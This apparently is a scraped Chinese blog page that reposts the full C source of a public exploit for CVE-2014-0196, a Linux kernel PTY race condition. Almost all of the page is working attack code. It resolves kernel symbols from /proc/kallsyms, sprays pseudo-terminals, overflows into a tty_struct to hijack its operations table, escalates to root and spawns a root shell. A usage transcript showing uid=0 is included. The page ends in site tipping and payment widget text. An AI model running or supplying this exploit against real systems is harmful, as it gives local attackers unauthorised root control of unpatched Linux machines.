x86linux write函数,CVE-2014-0196 Linux kernel n_tty_write’函数竞争条件漏洞-漏洞情报、漏洞详情、安全漏洞、CVE - 安全客,安全资讯平台...

/*

* CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race

* condition

*

* Slightly-less-than-POC privilege escalation exploit

* For kernels >= v3.14-rc1

*

* Matthew Daley

*

* Usage:

* $ gcc cve-2014-0196-md.c -lutil -lpthread

* $ ./a.out

* [+] Resolving symbols

* [+] Resolved commit_creds: 0xffffffff81056694

* [+] Resolved prepare_kernel_cred: 0xffffffff810568a7

* [+] Doing once-off allocations

* [+] Attempting to overflow into a tty_struct...............

* [+] Got it :)

* # id

* uid=0(root) gid=0(root) groups=0(root)

*

* WARNING: The overflow placement is still less-than-ideal; there is a 1/4

* chance that the overflow will go off the end of a slab. This does not

* necessarily lead to an immediate kernel crash, but you should be prepared

* for the worst (i.e. kernel oopsing in a bad state). In theory this would be

* avoidable by reading /proc/slabinfo on systems where it is still available

* to unprivileged users.

*

* Caveat: The vulnerability should be exploitable all the way from

* v2.6.31-rc3, however relevant changes to the TTY subsystem were made in

* commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer

* GFP_ATOMIC memory consumption") that make exploitation simpler, which this

* exploit relies on.

*

* Thanks to Jon Oberheide for his help on exploitation technique.

*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define TTY_MAGIC 0x5401

#define ONEOFF_ALLOCS 200

#define RUN_ALLOCS 30

struct device;

struct tty_driver;

struct tty_operations;

typedef struct {

int counter;

} atomic_t;

struct kref {

atomic_t refcount;

};

struct tty_struct_header {

intmagic;

struct kref kref;

struct device *dev;

struct tty_driver *driver;

const struct tty_operations *ops;

} overwrite;

typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);

typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);

int master_fd, slave_fd;

char buf[1024] = {0};

commit_creds_fn commit_creds;

prepare_kernel_cred_fn prepare_kernel_cred;

int payload(void) {

commit_creds(prepare_kernel_cred(0));

return 0;

}

unsigned long get_symbol(char *target_name) {

FILE *f;

unsigned long addr;

char dummy;

char name[256];

int ret = 0;

f = fopen("/proc/kallsyms", "r");

if (f == NULL)

return 0;

while (ret != EOF) {

ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);

if (ret == 0) {

fscanf(f, "%s\n", name);

continue;

}

if (!strcmp(name, target_name)) {

printf("[+] Resolved %s: %p\n", target_name, (void *)addr);

fclose(f);

return addr;

}

}

printf("[-] Couldn't resolve \"%s\"\n", name);

fclose(f);

return 0;

}

void *overwrite_thread_fn(void *p) {

write(slave_fd, buf, 511);

write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));

write(slave_fd, &overwrite, sizeof(overwrite));

}

int main() {

char scratch[1024] = {0};

void *tty_operations[64];

int i, temp_fd_1, temp_fd_2;

for (i = 0; i < 64; ++i)

tty_operations[i] = payload;

overwrite.magic = TTY_MAGIC;

overwrite.kref.refcount.counter = 0x1337;

overwrite.dev = (struct device *)scratch;

overwrite.driver = (struct tty_driver *)scratch;

overwrite.ops = (struct tty_operations *)tty_operations;

puts("[+] Resolving symbols");

commit_creds = (commit_creds_fn)get_symbol("commit_creds");

prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");

if (!commit_creds || !prepare_kernel_cred)

return 1;

puts("[+] Doing once-off allocations");

for (i = 0; i < ONEOFF_ALLOCS; ++i)

if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {

puts("[-] pty creation failed");

return 1;

}

printf("[+] Attempting to overflow into a tty_struct...");

fflush(stdout);

for (i = 0; ; ++i) {

struct termios t;

int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;

pthread_t overwrite_thread;

if (!(i & 0xfff)) {

putchar('.');

fflush(stdout);

}

if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {

puts("\n[-] pty creation failed");

return 1;

}

for (j = 0; j < RUN_ALLOCS; ++j)

if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {

puts("\n[-] pty creation failed");

return 1;

}

close(fds[RUN_ALLOCS / 2]);

close(fds2[RUN_ALLOCS / 2]);

write(slave_fd, buf, 1);

tcgetattr(master_fd, &t);

t.c_oflag &= ~OPOST;

t.c_lflag |= ECHO;

tcsetattr(master_fd, TCSANOW, &t);

if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {

puts("\n[-] Overwrite thread creation failed");

return 1;

}

write(master_fd, "A", 1);

pthread_join(overwrite_thread, NULL);

for (j = 0; j < RUN_ALLOCS; ++j) {

if (j == RUN_ALLOCS / 2)

continue;

ioctl(fds[j], 0xdeadbeef);

ioctl(fds2[j], 0xdeadbeef);

close(fds[j]);

close(fds2[j]);

}

ioctl(master_fd, 0xdeadbeef);

ioctl(slave_fd, 0xdeadbeef);

close(master_fd);

close(slave_fd);

if (!setresuid(0, 0, 0)) {

setresgid(0, 0, 0);

puts("\n[+] Got it :)");

execl("/bin/bash", "/bin/bash", NULL);

}

}

}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值